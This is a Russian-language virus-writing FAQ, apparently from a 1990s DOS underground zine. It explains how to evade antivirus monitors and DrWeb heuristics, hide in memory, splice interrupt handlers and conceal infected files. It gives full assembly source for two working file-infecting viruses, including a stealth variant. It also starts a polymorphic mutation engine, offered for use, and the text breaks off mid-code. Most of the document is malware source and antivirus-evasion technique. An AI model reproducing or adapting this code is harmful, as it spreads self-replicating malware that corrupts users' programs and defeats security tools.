C-1. Как стать резидентом чтобы гадкие мониторы не реагировали? [AK] Это уже сложнее, так как различные мониторы используют разную технологию определения уменьшения свободной памяти. Одним из выходов является использование UMB, как это было описано выше. Потому что большинство существующих мониторов эту память не проверяют (ну тонка кишка:). Еще одним принципиальным решением является использование EMS и XMS, то бишь дополнительной и расширенной памяти. Более подробно это описано в Infected Moscow #1. А основная идея в том, что большинство мониторов имеют некоторое пороговое значение изменения памяти, например, 20h параграфов (512 байт), при уменьшении на меньше которого они не реагируют. То есть если занять, допустим, 300 байт, а 4к держать в расширенной памяти и подгружать в случае необходиомсти, то это не вызовет приступа у монитора. Третим вариантом является использование неиспользуемых участков в памяти. К таким относятся часть таблицы векторов прерываний и область загрузки. Фирма IBM сделала большой подарок технокрысам, зарезервировав часть векторов для исключительно личных нужд. Да-да, откройте Interrupt List и посмотрите, что int 81h-EFh зарезервированы под интерпритатор бейсика и другие программы их не используют. А это целых 440 байт. Там (с некоторым риском) можно уместить небольшой кусок кода. Второй упомянутой мною областью является область загрузки. Это 256 байт с 0000:0600h по 0000:0700h (или если угодно 0060:0000-0070:0000 :) Туда загружается MBR при включении компьютера и никогда больше не используется. Еще одним препятствием является эвристический анализ DrWeb'а Проблема в том, что это глюкало выполняет трассировку прерываний, и если на пути встретится блок, который лежит не как все в начале, а в конце, то дико вопит. Если, например, оставить резидент с помощью вышеприведенного примера и включить в него обработчик int 21h, то его сразу обнаружит web. Что делать? Для этого достаточно сделать так, чтобы веб до него в пошаговом режиме не дошел. Как? Элементарно. Надо оставить в памяти два куска - один основной в конце памяти как и раньше, а второй в одной из свободных областей, который детектирует проход в пошаговом режиме и подсовывает вебу реальный обработчик прерывания, тем самым не давая дойти до основной копии. Некоторые вирмейкеры отлавливают проход в пошаговом режиме с помощью всяких выкрутасов со флагами, конвейером и прочими, а я поступаю проще - переназначаю адрес int 1, то есть если включен пошаговый режим, то сразу выполнится наша процедура. Вот и маленький но полезный кусочек кода :-)0000:0600: 6650 push eax 0000:0602: 66B828060000 mov eax,00000628 0000:0608: 662E87060400 xchg dword ptr cs:[0004],eax 0000:060E: 662E87060400 xchg dword ptr cs:[0004],eax 0000:0614: 6658 pop eax 0000:0616: EB0B jmp short 0623 0000:0618: 2EC60617060B mov byte ptr cs:[0617],0B 0000:061E: EA01010101 jmp 0101:0101 0000:0623: EA02020202 jmp 0202:0202 0000:0628: 2EC606170600 mov byte ptr cs:[0617],00 0000:062E: CF iret
теперь достаточно скопировать эти 47 байт по адресу 0000:0600, установить адрес int 21h на начало, по адресу 061F (то бишь вместо 01010101) записать адрес старого обработчика, а по адресу 0624 (вместо 02020202) поставить адрес вирусного обработчика прерывания. Все! Веб молчит. Всякие прочие антивирусные сканеры его также не заметят. Но вам может показаться, что сидеть в этом месте опасно? да, Данилофф когда-нибудь догадается о тайном значении этого адреса и что? А ничего! Мы можем с большим успехом поместить эту проверку и в другой области. Какой? А, к примеру, затереть часть самого первого environment'а у comman.com или у какой-нибудь резидентной программы. Там ведь все равно хранится всякая лабуда типа Path, Comspec, Prompt, имя программы, которые не используются, когда программа уже резидентна. То есть мы паразитируем на резидентах! Эксперименты по этому поводу я оставляю на ваше самостоятельное изучение, должны же вы в конце концов делать что-то сами ;) C-2. Как стать резидентом в нижних адресах памяти? [AK] Итак, рассмотрим ситуацию, когда зараженная программа заускается. До программы в нижней памяти будут находится системные данные системы и резиднты, а программе выделится фрагмен во всю оставшуюся память: 0000 +------------+ ¦ DOS ¦ +------------¦ ¦ Resident 1 ¦ +------------¦ ¦ Resident 2 ¦ +------------¦ ¦ Resident 3 ¦ +------------¦ ¦ Program ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ A000 +------------+ Теперь вспомним, как мы остаемся резидентом из вируса - мы уменьшаем блок памяти и копируем тело в конец памяти: 0000 +------------+ ¦ DOS ¦ +------------¦ ¦ Resident 1 ¦ +------------¦ ¦ Resident 2 ¦ +------------¦ ¦ Resident 3 ¦ +------------¦ ¦ Program ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ +------------¦ ¦ Virus ¦ A000 +------------+ Неудивительно, что при таком раскладе вирус очень заметен в дампе. Наша задача заключается в том, чтобы сесть по порядку за резидентами, не испортив самой программы: 0000 +------------+ ¦ DOS ¦ +------------¦ ¦ Resident 1 ¦ +------------¦ ¦ Resident 2 ¦ +------------¦ ¦ Resident 3 ¦ +------------¦ ¦ Virus ¦ +------------¦ ¦ Program ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ A000 +------------+ Для этого есть два похожих способа, которые зависят от метода заражения программы. Если наш вирус приписывает себя к началу программы, то при загрузке зараженной программы вирус как бы уже находится на нужном месте и нам следует только настроить окружение программы так будто она загружена отдельно. Это можно сделать вручную путем всяческих выкрутасов с блоками, PSP и прочими гадостями, а можно сделать проще - повторно запустить эту программу. Вирус-то ведь уже резидентен, поэтому вторая копия просто вылечит основную программу и передаст ей управление. Сложнее обстоит дело если вирус дописывается в конец или середину. Но ненамного. Мы просто пересылаем себя в нужное место и передаем управление копии, которая сидит там где надо, освободив старый кусок: 0000 +------------+ ¦ DOS ¦ +------------¦ ¦ Resident 1 ¦ +------------¦ ¦ Resident 2 ¦ +------------¦ ¦ Resident 3 ¦ +------------¦ ¦ Virus ---+ +------------¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ +------------¦ ¦ ¦ Virus ----+ A000 +------------+ Ну, надеюсь, вы поняли идею. Как уже повелось добавим процедуру резидентности к нашему старенькому Smiley. Наш новый :) вирь назовем Smiley.LowMem: Да, замечу, что основная сложность здесь состоит в правильном поиске имени запущенной программы и передаче всех параметров на вторую копию.
.model tiny .386 .code .startup org 100h _real equ _end - _beg ;Это размер вируса _size equ (_real+100h+15+64+16+256)/16 ;Это размер вируса в параграфах ; 64 байта мы резервируем под имя ; программы, 16 под струкутуру Exec ; а 256 под собственный стек. ; Ну а еще 100h потому как перед ; самим вирусом остается место. _beg: mov ax,1E03h ; самым первым делом проверяем собственную int 21h ; резидентность. cmp ax,031Eh jz _Already ; ; Мы запускаемся впервые. Надо остаться резидентом. ; В первую очередь вытаскиваем из окружения имя программы. RTFM. ; mov ds,ds:[2Ch] xor si,si @l2: lodsb or al,[si] jnz @l2 lodsb lodsw mov cl,32 lea di,_ProgName rep movsw lea di,_ExecParam xchg ax,cx ; cx=0 после rep. А так как xchg ax,cx stosw ; занимает 1 байт, а xor ax,ax - 2, то ; очевидно экономим :) push cs pop ds ; А в этом фрагменте мы заполняем структкуру Exec, необходимую ; для запуска программы. Догадались в чем хитрость? Мы передаем ; все параметры основной программы просто ссылкой на них. mov ax,80h stosw mov ax,cs stosw mov ax,5Ch stosw mov ax,cs stosw ; Все, мы создали все структуры данных для mov ax,6Ch ; повторного запуска программы. stosw ; Теперь можно заняться собственной персоной. mov ax,cs stosw mov sp,_Stack ; Нам нужно резервировать собственный стек, ; так как стек программы затирается. ; Вообще желательно всегда работать в своем стеке. mov bx,_size ; отрезаем от себя ненужный хвост во всю mov ah,4Ah ; оставшуюся память :) int 21h push 0 ; теперь перехватываем прерывания. pop ds mov ax,_int21 mov bx,cs xchg ax,ds:[84h] xchg bx,ds:[86h] push cs pop ds mov ds:_go21o,ax mov ds:_go21s,bx lea dx, _ProgName lea bx, _ExecParam mov ax,4B00h ; запускаем программу. Вообще-то лучше int 21h ; сделать это по старому вектору, ну ; да ладно. mov ax,cs ; Программа завершилась. Восстановим стек. mov ss,ax lea sp,_stack mov ah,4Dh ; Тоже нужный момент - срхранение кода возврата. int 21h mov ah,31h mov dx,_size int 21h _Already: ; Сюда приходим в случае резидентности вируса. ; нам надо вылечить программу и передать ей управление. mov si,0FDh mov word ptr ds:[si],0A5F3h mov byte ptr ds:[si+2],0C3h mov di,100h ; заталкиваем в стек адрес запуска программы. push di push si ; адрес лечилки. Она выполняет команды rep movsw/retn ; Вы можете поинтересоваться зачем нужен retn, тогда ; как следующий байт и есть начало программы. ; А все потому что в процессоре есть конвейер и ; будут выполняться совсем не те байтики :) mov si, _end mov cx,32000 retn ;---------------- Дальше все идет как в базовом вирусе ----------- _check: xchg ah,al iret _int21: cmp ax,1E03h ; проверка на резидентность. jz _check cmp ah,4Bh ; заражаем при запуске jnz _go cld pusha push es push ds mov cx,256 xor al,al mov di,dx push ds pop es repnz scasb jnz _noinfect mov si,di ; COMMAND.COM заражать нельзя sub si,12 lodsd and eax,0DFDFDFDFh ; приводим к заглавным буквам cmp eax,'MMOC' jnz _infect lodsw and ax,0DFDFh cmp ax,'NA' jz _noinfect _infect: mov ah,48h ; выделяем для своих нужд 64к памяти mov bx,4096 int 21h mov es,ax jnc _inf1 mov ah,49h int 21h jmp short _noinfect _inf1: mov ax,3D02h int 21h jc _noinf2 xchg ax,bx push es pop ds xor dx,dx mov cx,-1 mov ah,3Fh int 21h cmp word ptr ds:[0],'MZ' ; EXE тоже не заражаем. jz _noinf cmp word ptr ds:[0],'ZM' jz _noinf cmp word ptr ds:[_sig - _beg],'):' ; проверка на зараженность jz _noinf cmp ax,64000 jnc _noinf push ax push ds xor cx,cx xor dx,dx mov ax,4200h int 21h mov cx,_real ; записываем вирус. push cs pop ds mov dx,100h mov ah,40h int 21h pop ds pop cx xor dx,dx ; записываем программу mov ah,40h ; кстати, мы не сохраняем атрибутов и даты int 21h ; файла, а это делать надо. Кроме того, ; желательно перехватывать int 24 для ; погашения критических ошибок (например, ; запись на дискетку с защитой от записи) _noinf: mov ah,3Eh int 21h _noinf2: mov ah,49h ; освободили память int 21h _noinfect: pop ds pop es popa _go: byte 0EAh ; Команда JMP FAR _go21o dw 0 _go21s dw 0 _sig byte ':)' _end: _ExecParam: ; Ну это структуры данных. _ProgName equ _ExecParam +16 ; Они не таскаются по _Stack equ _ExecParam +16+64+254 ; зараженым копиям. mov dx,_msg-_end+100h mov ah,9 int 21h mov ax,4c00h int 21h _msg db 'Вирус Smiley.LowMem стартовал',13,10,36 end
C-3. Как перехватить прерывание чтоб мониторы не реагировали? [AK] Это уже нетривиальная задача, так как опять-таки различные мониторы используют различные методы проверок. Основной метод - запоминание текущего адреса и проверка его после запуска очередной программы. Таким образом, если запустить зараженную программу, то она поменяет адрес вектора и монитор это сразу заметит. Как бороться с этой проблемой? очевидно что нужно перехватить прерывание так, чтобы оно было перехвачено, но адрес первого обработчика не изменился. Как это сделать? Для этого достаточно заменить первые несколько байт обработчика прерывания на собственный вызов, а потом при передаче управления эти байтики восстановить. Поясню графически: То есть наша задача - сделать так, чтобы наш обработчик вызывался из середины цепочки обработчиков. Например, если у нас есть несколько резидентов, которые перехватывают прерывание int 21h: +--------------+ +--------------+ +--------------+ +-------+ ¦ Обработчик 1 +---¦ Обработчик 2 +---¦ Обработчик 3 +---¦ DOS ¦ +--------------+ +--------------+ +--------------+ +-------+ То нам надо сделать так, чтобы вирус вызывался после того, как отработает один из них: +--------------+ +--------------+ +--------------+ +-------+ ¦ Обработчик 1 ++ +¦ Обработчик 2 +---¦ Обработчик 3 +---¦ DOS ¦ +--------------+¦ ¦+--------------+ +--------------+ +-------+ ¦ ¦ +---+ +---+ ¦+-------+¦ +¦ Virus ++ +-------+ Очередной неплохой идеей является встраивание вируса после того как отработают все обработчики. Почему? Потому что одним из этих обработчиков может быть сам монитор, делающий всякие пакостные и непредсказуемые проверки. +--------------+ +--------------+ +--------------+ +-------+ ¦ Обработчик 1 +---¦ Обработчик 2 +---¦ Обработчик 3 ++ +¦ DOS ¦ +--------------+ +--------------+ +--------------+¦ ¦+-------+ ¦ ¦ +---+ +---+ ¦+-------+¦ +¦ Virus ++ +-------+ Итак, что же от нас, наконец, требуется? Нам надо проследить ход выполнения вызова, поймать то место, откуда вызывается само ядро системы. То есть как будто бы мы загрузили отладчик, вручную прошли по всем обработчикам и дошли до DOS. Как это сделать в вирусе? Очень просто - ведь в процессоре есть режим пошагового выполнения, в котором после каждой команды вызывается int 1. Нам только остается перехватить int 1, включить пошаговый режим, передать управление обработчику прерывания и пройти в пошаговом режиме до самого ядра и заменить первые несколько байт в ядре на JMP FAR. Здесь есть сразу несколько замечаний: 1) Команды int XX сбрасывают флаг пошагового режима, поэтому в нашем обраотчике необходимо проверять на вызов прерывания и эмулировать его с помощью таблицы векторов. 2) Адрес следующей инструкции равно как и адрес возврата из int 1 хранится в стеке. Чтобы изменить адрес следующей команды надо просто изменить этот адрес - это к вопросу об эмуляции int. 3) Чтобы определить относиться ли выполняемый код к ядру или нет надо проверить его адрес - DOS находится в адресах 0070 или FFFF (HMA). Но кроме этого лучше проверить еще и проверкой лежит ли текущий сегмент до первого блока MCB. А адрес первого блока MCB можно узнать через int 21/ah=52h Итак, мы прошлись по цепочке обработчиков и поставили FAR JMP или INT xx (неиспользуемое прерывание) вместо кода ядра (старые байтики сохранить не забыли?;). Когда произойдет вызов прерывания и все мерзкие мониторы сделают свои идиотские прверки управление передастся нашему вирусу, и он может деалать свои темные делишки. Но: 1) Если вирус сидит на int 21 то в процессе работы ему понадобиться вызывать настоящий int 21. А там опять мы :( Для этого очевидно надо в самом начале нашего обработчика восстановить эти чертовы байтики. 2) Если в процессе работы надо вызывать прерывания, то делать это лучше сразу по адресу ядра - таким образом мы избавляемся от риска, что наш вызов возбудит резидентный монитор, но рискуем получить жопу если не вызовем архиважный резидентный и дико кривой драйвер. В конечном итоге безопасность работы - это проблема этого драйвера и монитора, а мы можем смело положить на них обоих :) 3) После того как мы отработали надо полностью передать управление ядру. Но ведь если мы передадим управление с исходными байтиками, то больше никогда не вызовемся и с другой стороны нельзя испрявлять их раньше вызова иначе укусим себя за хвост. Решение просто - восстанавливаем исходные байты, включаем пошаговый режим и проходим первые две-три команды в пошаговом режиме (пока не выйдем за опасную зону), а потом опять вставляем свой JMP. Остается отключить поаговый режим и выполнить обработку на полной скорости. Для тех, кому выполнять проход по цепочке сложновато можно предложить сделать промежуточное - поставить JMP на первом же обработчике и не заботиться о сложных выкрутасах с вызовом int, проверкой ядра и т.п. А вот проход превых команд обработчика придется оставить. Все описанное называется Сплайсинг. Я изложил только идею. Новичкам это не особенно нужно, да и тяжеловато, а для продвинутых уже есть готовая статья и кусок кода в IV1 и IV7. C-4. Вирусы-невидимки. [AK] Итак, что же такое стелс ака вирус-невидимка? Это такой вирус, который будучи активным скрывает свое присутствие в зараженных файлах. Как это делается? Вирус перехватывает все функции работы с файлами и если операция выполняется над зараженным файлом, то вирус подставляет вместо зараженного файла вылеченный. Делать это можно по крайней мере двумя способами - лечить на лету, то есть при каждом обращении к файлу производить лечение куска в памяти и возвращать его. А можно вылечить программу в некоторый временный файл и работать с ним. Кроме того, не слудет забывать не только про функции работы с файлами, но и про функции чтения каталога - там ведь хранится их длина, так что скрыть реальную длину файла тоже придется :) Ну что-то заболтался я. Вот собственно наш старенький Smiley, с небходимыми дополнениями, который является стелсом, используя второй способ.
.model tiny .386 .code .startup org 100h _real equ _end - _beg ; Это размер вируса _size equ (_real+15+18)/16 ; Это размер вируса в параграфах ; 18 байт резервируем под временный файл _beg: mov ax,cs dec ax mov ds,ax mov bx,ds:[3] sub bx,_size+1 mov ah,4ah int 21h mov bx,_size mov ah,48h int 21h push cs pop ds sub ax,10h mov es,ax mov di,100h mov si,di push cs push di mov cx,_real rep movsb push es ; Теперь передаем управление резидентной push _res ; части. retf _res: pop di push di mov cx,32000 push ds pop es rep movsw mov ax,1E03h int 21h cmp ax,031Eh jz _no mov ds,cx mov ax,_int21 mov bx,cs xchg ax,ds:[84h] xchg bx,ds:[86h] push cs pop ds mov ds:_go21o,ax mov ds:_go21s,bx mov word ptr ds:[0F1h],8 mov _hnd,4141h _no: push es pop ds retf _check: xchg ah,al iret _int21: ; собственно наш обработчик int 21 cmp ax,1E03h ; проверка на резидентность jz _check cmp ah,3Dh ; Если закоментировать эти два перехода, то jz _Open ; вирус не будет стелсом на уровне чтения из cmp ah,3Eh ; файла jz _Close cmp ah,4Fh ; а если закоментировать это, то вирус не jz _Search ; будет стелсом на уровне поиска в каталоге cmp ah,4Eh ; логично, правда? ;) jz _Search cmp ah,4Bh ; заражаем фалы при запуске jnz _go cld pusha push es push ds mov cx,256 xor al,al mov di,dx push ds pop es repnz scasb jnz _noinfect mov si,di ; проверяем чтобы не заразить COMMAND.COM sub si,12 lodsd and eax,0DFDFDFDFh ; приводим к верхнему регистру. cmp eax,'MMOC' jnz _infect lodsw and ax,0DFDFh cmp ax,'NA' jz _noinfect _infect: mov ah,48h ; для того чтобы заразить файл читаем его mov bx,4096 ; в буфер памяти, записываем в начало call _OldInt ; вирус и дописываем сам файл mov es,ax ; у этого способа есть преимущество - jnc _inf1 ; не надо вычислять jmp'ы :) mov ah,49h call _OldInt jmp short _noinfect _inf1: mov ax,3D02h call _OldInt jc _noinf2 xchg ax,bx push es pop ds xor dx,dx mov cx,-1 mov ah,3Fh call _OldInt cmp word ptr ds:[0],'MZ' ; ехешники нельзя заражать jz _noinf cmp word ptr ds:[0],'ZM' jz _noinf cmp word ptr ds:[_sig - _beg],'):' jz _noinf cmp ax,64000 ; слишком длинные тоже. jnc _noinf push ax push ds xor cx,cx xor dx,dx mov ax,4200h call _OldInt mov cx,_real push cs pop ds mov dx,100h mov ah,40h call _OldInt pop ds pop cx xor dx,dx mov ah,40h call _OldInt _noinf: mov ah,3Eh call _OldInt _noinf2: mov ah,49h call _OldInt _noinfect: pop ds pop es popa _go: byte 0EAh ; Команда JMP FAR _go21o dw 0 _go21s dw 0 _Search: ; Процедура невидимости в режиме FindFirst/FindNext call _OldInt jc _exit pushf pusha push es push ds mov ah,2Fh ; получаем адрес DTA int 21h push bx push es pop ds lea dx,[bx+1Eh] ; имя файла. mov ax,3D00h ; Внимание! если задать маску поиска в другом xor cx,cx ; каталоге, то открыть их будет невозможно, так ; как эти файлы будут открываться в текущем. ; Это не страшно для обучающего вируса, но ; для правильной реализации необходимо запомнить ; путь при вызове FindFirst и соединять найденный ; файл и путь. Для проверки можно набрать ; dir [другой путь] - будут выведены файлы без ; коррекции длины. call _OldInt jc _s3 xchg ax,bx call _SeekSig ; проверяем сигнатуру jnz _s2 pop bx push bx ; если это зараженный файл, то sub word ptr es:[bx+1Ah],_real ; корректируем длину файла _s2: mov ah,3Eh call _Oldint _s3: pop bx pop ds pop es popa popf _exit: retf 2 _SeekSig: ; процедура проверки сигнатуры. lea dx,_sig - _beg ; все понятно? ;) xor cx,cx mov ax,4200h call _Oldint jc _ss1 push cs pop ds mov ah,3Fh lea dx,tmp mov cx,2 call _Oldint byte 0B8h ; mov ax, ... - значение читаем прямо из файла tmp word 0 _ss1: cmp ax,'):' retn _Open: ; стелс по чтению. Самое глючное и геморойное. call _oldInt jc _exit pushf pusha push ds xchg ax,bx call _SeekSig jnz _o1 lea dx,path ; генерируем случайно имя файла в 'c:\' mov di,dx push es push cs pop es cld mov eax,'\:C' stosd mov cx,7 xor ax,ax rep stosw pop es mov ah,5Ah call _oldInt mov _hnd,ax xchg si,ax ; теперь path содержит имя, а si его дескриптор push 0 pop ds mov dx,600h ; используем 100h байт в 0000:0600 в качестве _o3: mov cx,256 ; буфера обмена - копируем зараженный файл без mov ah,3Fh ; вируса во временный. call _oldInt test ax,ax ; до тех пор, пока есть что читать из файла jz _o4 xchg ax,cx xchg si,bx mov ah,40h call _oldInt xchg bx,si jmp _o3 _o4: mov ah,3Eh ; закроем зараженный файл int 21h xchg bx,si ; устанавливаем указатель на 0 и возвращаем call _SeekZero ; дескриптор временного pop ds popa popf mov ax,cs:_hnd retf 2 _o1: call _SeekZero ; это не зараженный файл - ничего не делаем pop ds popa popf retf 2 _SeekZero: ; процедура устнаовки указателя на 0 xor cx,cx mov ax,4200h cwd call _Oldint retn _Close: ; закрытие файла. byte 81h,0FBh ; cmp bx,_hnd _hnd dw 4141h jnz _go ; внимание! Этот пример не будет правильно call _OldInt ; работать если одновременно открыть два jc _c2 ; зараженных файла. Для рабочей версии pushf ; необходимо хранить динамический список pusha ; открытых файлов. push ds lea dx,path push cs pop ds mov ah,41h ; удаляем временный файл. mov _hnd,ax xor cx,cx call _OldInt pop ds popa popf _c2: retf 2 _OldInt: ; процедура вызова старого обработчика pushf call dword ptr cs:_go21o retn _sig byte ':)' ; Сигнатура зараженности. path: ; здесь будет хранится путь для временного файла _end: mov dx,_msg- _end+100h mov ah,9 int 21h mov ax,4c00h int 21h _msg db 'Вирус стартовал',13,10,36 end
Сразу хочу заметить несколько недостатков этого вируса: 1) Не сохраняет даты и атрибутов 2) Не перехватывает критических ошибок int 24 3) Не позволяет открывать несколько зараженных файлов 4) Не скрывает своего присутствия в памяти 5) Не содержит антиотладочных и антиэвристических приемов. 6) Алгоритм стелсирования не стелсирует функции FCB и расширенное открытие (ax=6C00). 7) При чтении каталога стелсируются файлы только в текущем каталоге. Но тем не менее несмотря на кучу недостатков этот зверек работает :) Да, кстати, я не сказал про бутовые стелсы. Но вы наверное уже догадались :) Идея в том, что при чтении зараженного бута вирус подставляет исходный бут, а при чтении сектора где вирус хранит свое тело он возвращает нули, ну и записывать в эти сектора не дает :) Рисовать тут бутовый стелс мне лениво, да там и делов-то на 50 байт, сами справитесь ;) ps Вот все вокруг кричат стелс-стелс, а я лично ничего особенно замечательного в этом не вижу. С одной стороны это конечно хорошо, глупый юзверь нажмет F3 и ничего не заметит, но с другой плохо - гадкие адинфы начнут ругаться, да еще лишнюю услугу антивирусникам оказываем - вирус содержит готовую работоспособную процедуру лечения. C-5 Пишем Mutation Engine [AK] Сначала нам надо придумать алгоритм работы дешифровщика. Пусть наш дешифровщик работает по такому:
lea sp, coded @1: pop r1...r7
push r1...r7 add sp,16 cmp sp,end jc @1 Необходимо пояснить, что pop и push - это вытаскивание и заталкивание в стек 7 регистров в случайном порядке. а структура обозначенная
- это набор случайных операций между регистрами. Например: add ax,si rol ah,1 xor cl,dh inc bx xchg di,bp
Заметьте, что использются все базовые ригистры процессора: sp для стека и 7 (ax,bx,cx,dx,si,di,bp) для кодирования. Замечу еще несколько меленьких хитростей, которые реализованы в алгоритме: 1) так как в процессоре используются относительные переходы, то не зная длины кодирющего алгоритма мы не сможем выислить смещение перехода. Да и неудобно. Для решения этого мы jc @1 заменим на
jnc @2 lea bx,@1 jmp bx @2:
таким образом нигде не используя вычислений. 2) Для того чтобы усложнить эвристический анализ lea sp,coded заменим на
mov ds,ax mov bl,4 mov [bx],coded mov ax,[bx] mov ds,sp xchg sp,ax
таким образом мы пакостим в int 1, сбивая с толку эмулятор и вместе с использованием стека затрудянем отладку в реальном режиме процессора. Ладно, теперь составим список возможных операций. Для этого составим табличку, где будут указаны длина, тип команды, список разрешенных регистров и коды операций. Не забудьте, что нам надо не только дешифратор, но еще и шифратор, который состоит из противоположных команд и который будет создаваться одновременно с шивратором в обратном порядке. То есть если будут команды
pop ax pop cx pop dx sub ax,cx xchg dx,cx xor al,15 inc dx push cx push ax push dx
то шифратор дожен быть вида:
pop dx pop ax pop cx dec dx xor al,15 xchg dx,cx add ax,cx push dx push cx push ax
=== begin morph.inc === ; ; HarmWare 2.00 Morph Engine. Это часть полиморфного генератора ; выдранного из моего вируса HarmWare 2.00. Несмотря на ряд ; серьезных упрощений он полностью работоспособен. Пользуйтесь ; на здоровье! :) ; ; (c) 1995-1997 Ak Kort ; ; Итак. Вот формат структуры описаний операций: ; ; +-------++-------++-------++-------++-------++-------+ ; ¦len¦typ¦¦ enable¦¦ code1 ¦¦decode1¦¦ code2 ¦¦decode2¦ ; +-------++-------++-------++-------++-------++-------+ ; CmdInfo Struct CmdType byte ? Enable byte ? Code1 word ? Code2 word ? CmdInfo Ends ; где тип: ; 0 reg ; 1 reg,reg ; 2 reg,imm8 ; 3 reg,imm16 ; 4 imm8 ; 5 imm16 ; ; А эта таблица содержит ссылки на команды для реализации этих ; типов: ; Type_Tbl: word offset Do_Type0 word offset Do_Type1 word offset Do_Type2 word offset Do_Type3 word offset Do_Type4 word offset Do_Type5 Select_2_Regs: call Rnd_Reg xchg cx,ax jmp Rnd_Reg Put_Reg: call Rnd_Reg Put_This_Reg: mov ah,al or ax,[bx] call Swap_Bytes stosb mov es:[si],ah inc si retn Put_Rnd_8: call Rnd stosb mov es:[si],al inc si retn Put_Rnd_16: call Rnd stosw mov es:[si],ax inc si inc si retn Put_Opcode: xor ax,ax jmp Put_This_Reg Do_Type0: jmp Put_Reg Do_Type1: call Select_2_Regs shl cl,3 or al,cl jmp Put_This_Reg Do_Type2: call Put_Reg jmp Put_Rnd_8 Do_Type3: call Put_Reg jmp Put_Rnd_16 Do_Type4: call Put_Opcode jmp Put_Rnd_8 Do_Type5: call Put_Opcode jmp Put_Rnd_16 CmdQuant equ 29 ; количество операций ; ; Это коды регистров как они используются в операциях. ; Это нужно для того чтобы запретить использовать некоторые ; регистры. Например в операции add sp,5 использован регистр ; sp с номером 4, а в add ah,5 тоже с номером 4. Но sp использовать ; нельзя, а ah можно - это и хранит поле Enable. _ax equ 1 _cx equ 2 _dx equ 4 _bx equ 8 _sp equ 16 _bp equ 32 _si equ 64 _di equ 128 _al equ 1 _cl equ 2 _dl equ 4 _bl equ 8 _ah equ 16 _ch equ 32 _dh equ 64 _bh equ 128 ; ; 29 типов комманд: ; Table: CmdInfo <10h,_sp ,09090h> ;xchg ax,reg16 CmdInfo <21h,0 ,08686h,0C0C0h> ;xchg reg8,reg8 CmdInfo <21h,_sp ,08787h,0C0C0h> ;xchg reg16,reg16 CmdInfo <10h,_sp ,04840h> ;inc/dec reg16 CmdInfo <20h,_sp ,0FFFFh,0C8C0h> ;inc/dec reg16 CmdInfo <21h,0 ,0022Ah,0C0C0h> ;add/sub reg8,reg8 CmdInfo <21h,0 ,00028h,0C0C0h> ;add/sub reg8,reg8 CmdInfo <21h,_sp ,0032Bh,0C0C0h> ;add/sub reg16,reg16 CmdInfo <21h,_sp ,00129h,0C0C0h> ;add/sub reg16,reg16 CmdInfo <20h,0 ,0D0D0h,0C0C8h> ;ror/rol reg8,1 CmdInfo <20h,_sp ,0D1D1h,0C0C8h> ;ror/rol reg16,1 CmdInfo <20h,_cl ,0D2D2h,0C0C8h> ;ror/rol reg8,cl CmdInfo <20h,_cx + _sp ,0D3D3h,0C0C8h> ;ror/rol reg16,cl CmdInfo <20h,0 ,0F6F6h,0D0D0h> ;not reg8 CmdInfo <20h,_sp ,0F7F7h,0D0D0h> ;not reg16 CmdInfo <20h,0 ,0F6F6h,0D8D8h> ;neg reg8 CmdInfo <20h,_sp ,0F7F7h,0D8D8h> ;neg reg16 CmdInfo <14h,0 ,02C04h> ;add/sub al,imm8 CmdInfo <14h,0 ,03434h> ;xor al,imm8 CmdInfo <15h,0 ,02D05h> ;add/sub ax,imm16 CmdInfo <15h,0 ,03535h> ;xor ax,imm16 CmdInfo <22h,0 ,08080h,0E8C0h> ;add/sub reg8,imm8 CmdInfo <22h,0 ,08080h,0F0F0h> ;xor reg8,imm8 CmdInfo <22h,0 ,08282h,0E8C0h> ;add/sub reg8,imm8 CmdInfo <22h,0 ,08282h,0F0F0h> ;xor reg8,imm8 CmdInfo <22h,_sp ,08383h,0E8C0h> ;add/sub reg16,imm8 CmdInfo <22h,_sp ,08383h,0F0F0h> ;xor reg16,imm8 CmdInfo <23h,_sp ,08181h,0E8C0h> ;add/sub reg16,imm16 CmdInfo <23h,_sp ,08181h,0F0F0h> ;xor reg16,imm16 ; ; Теперь собственно процедуры полиморфности. Ну конечно же перовой ; идет вычисление случайного числа :) ; ; Вычисление случайного числа и засылка его в AX ; Rnd: not ax push dx mov dx,117 in al,40h xor ax,word ptr Old_Rnd inc ax mul dx pop dx Set_Rnd: mov word ptr Old_Rnd,ax retn ; ; Вы не забыли, что в полиморфик добавляются нулевые команды для ; ухудшения восприятия? ;) это и nop, и cmp reg,reg, и add reg,0 ; ; ; Вернуть в AX два кода случайной нулевой команды ; Rnd_Code: push bx push cx push dx call Rnd and ah,31 mov dh,al cmp ah,14 jnc Rnd_5 mov dl,al mov cl,3 shl dl,cl and dh,7 or dh,dl Rnd_5: or dh,0C0h cmp ah,20 jc Rnd_6 mov dh,al cmp ah,22 jc Rnd_6 xor dh,dh Rnd_6: mov bx,offset Rnd_Table mov al,ah xor ah,ah add bx,ax mov ah,dh ;операнд или байт ModR/M mov al,ds:[bx] ;Код операции pop dx pop cx pop bx retn ; ; 4 класса двухбайтовых комманд. ; Эти команды не изменяют содержимое регистров и случайно ; вставляются между командами дешифратора для ухудшения восприятия. ; Rnd_Table byte 8,9,10,11,20h,21h,22h,23h,86h,87h,88h,89h,8ah,8bh ;XXX r,r byte 84h,85h,38h,39h,3Ah,3Bh ;XXX r1,r2 byte 3Ch,0A8h ;XXX al,Rnd byte 34h,4,0Ch,2Ch,74h,75h,0E3h,73h,72h,78h ;XXX al,0 ;и jXX $+2 ; ; однобайтовые пустые команды ; Nop_Table byte 90h,0FDh,0F5h,0F8h,0F9h,0FAh,0FCh,0FDh ; ; Вернуть в регистре AL случайную однобайтовую пустую команду ; Rnd_Nop: push bx call Rnd and al,7 mov bx,offset Nop_Table xlat pop bx retn ; ; Переслать в es:[di] несколько случайных пустых комманд и скорректировать di ; Add_Rnd: push cx push ax call Rnd xchg ax,cx and cx,3 ; от трех до шести пустых команд за раз. Вы можете add cx,3 ; изменить это, но не сильно увлекайтесь. @ar1: call Rnd and ax,7 cmp al,3 jnc @ar2 call Rnd_Nop stosb jmp @ar3 @ar2: call Rnd_Code stosw @ar3: loop @ar1 pop ax pop cx retn Rnd_Reg: call Rnd and ax,7 bts word ptr @enable,ax jc Rnd_Reg retn ; ; Вот здесь собственно генерируется команда и заталкивается в ; шифратор и шешифратор. ; Add_Cmd: pusha @acm3: call Rnd mov @swp_flag,ah and ax,31 